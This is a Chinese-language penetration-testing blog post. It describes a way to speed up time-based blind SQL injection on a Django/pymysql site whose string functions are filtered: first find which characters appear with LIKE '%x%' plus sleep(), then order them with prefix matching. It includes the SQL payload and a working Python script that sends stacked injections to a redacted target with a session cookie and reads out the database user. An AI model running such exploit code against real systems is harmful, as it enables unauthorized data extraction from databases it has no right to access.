极端条件下时间盲注加速的另一种思路

摸底情况

环境:python+django+pymysql

注入点应该是出现在order by 后面,无回显,程序会分离;符号,并当做两个语句来执行,也就是存在堆叠注入,丢给sqlmap跑确实也识别出来了,但是没法正常跑数据,人工探测发现mysql字符处理相关的函数均无法正常执行(过滤or写法问题?),离谱的是ifnull这类函数都无法执,探测下来已知的可执行的函数只有sleep(),length(),users(),version()等这类可执行。

只能时间盲注没得选,绕过也容易,payload如下:

select case when((select binary database()) like "test%")then sleep(3) else sleep(0) end;

不允许操作字符那就不操作,只对比就好。写完Poc产生一个问题。平常盲注都是查询出单个字符串再去和所有字符串对比,但如果把模糊查询条件改成like "%a%",先查询一下所有字符串字符串,看是否在目标字段中,并将存在于目标字段中的字符聚合起来,再用like "abc%"去将存在的字符串进行排序,效率会不会高很多?

假设查询结果为:95b17c3b195983f7ef37358a6db07e35
不考虑特俗字符串,盲注情况以下62个字符串需要对比:

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789

不适应任何技巧情况下最多需要需要对比32x62=1984次

先将查询结果转成ASCII码,上诉62个字符的ASCII码进行二分法对比,最多需要对比ln62/ln2*32≈192次

使用上诉思路查询最多次数为62 + 14*32 = 510,其中14为查询结果中出现的14个独立字符串,假设值为00000000000000000000000000000000时,最坏查询次数为62 + 1*32 = 94,也就是说查询结果重复得越多查询次数越少,正常情况下还是不如转ascii再二分法对比效果好,但如果遇到这种不能分割字符串的情况,这也不失是个方法。

demo:

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies = {
  "http":  "http://127.0.0.1:8080",
  "https": "http://127.0.0.1:8080",
}

def sqli(payload):

    session = requests.Session()

    paramsGet = {
        "dxxxxx": "xxxx');{}&".format(payload)}
    headers = {"Connection": "close",
               "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; pt-br) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13",
               "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Cache-Control": "no-cache"}
    cookies = {"SESSION": "r5q1phi49syxxxxxxxxxxxxxxxxxxxxxxxxxxxxrod59m3u2t"}

    try:
        session.get("https://xxxxxxxxxxxxxxxxxxxxxxch", params=paramsGet,
                               headers=headers, cookies=cookies, proxies=proxies, verify=False, timeout=3)
        return False
    except:
        return True


if __name__ == '__main__':


    #select case when((select database()) like \"%%\")then sleep(2) else sleep(0) end;
    existStrs = ""

    strs = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@.ß"
    print("[+] 正在遍历返回值中存在的字符串...")
    for s in strs:
        payload = "select case when((select binary user()) like \"%{}%\")then sleep(2) else sleep(0) end;".format(s)
        if sqli(payload):
            existStrs += s
            print(existStrs)

    print("[+] 返回值中存在的字符串共有: {}".format(existStrs))
    print("[+] 返回值排序中...")

    result = ""

    for num in range(1,15):
        tmp = ""
        for s2 in existStrs:
            tmp = result + s2
            payload2 = "select case when((select binary user()) like \"{}%\")then sleep(2) else sleep(0) end;".format(tmp)
            if sqli(payload2):
                result += s2
                break
        print(result)
    print("[+] 返回值: {}".format(result))

也无风雨也无晴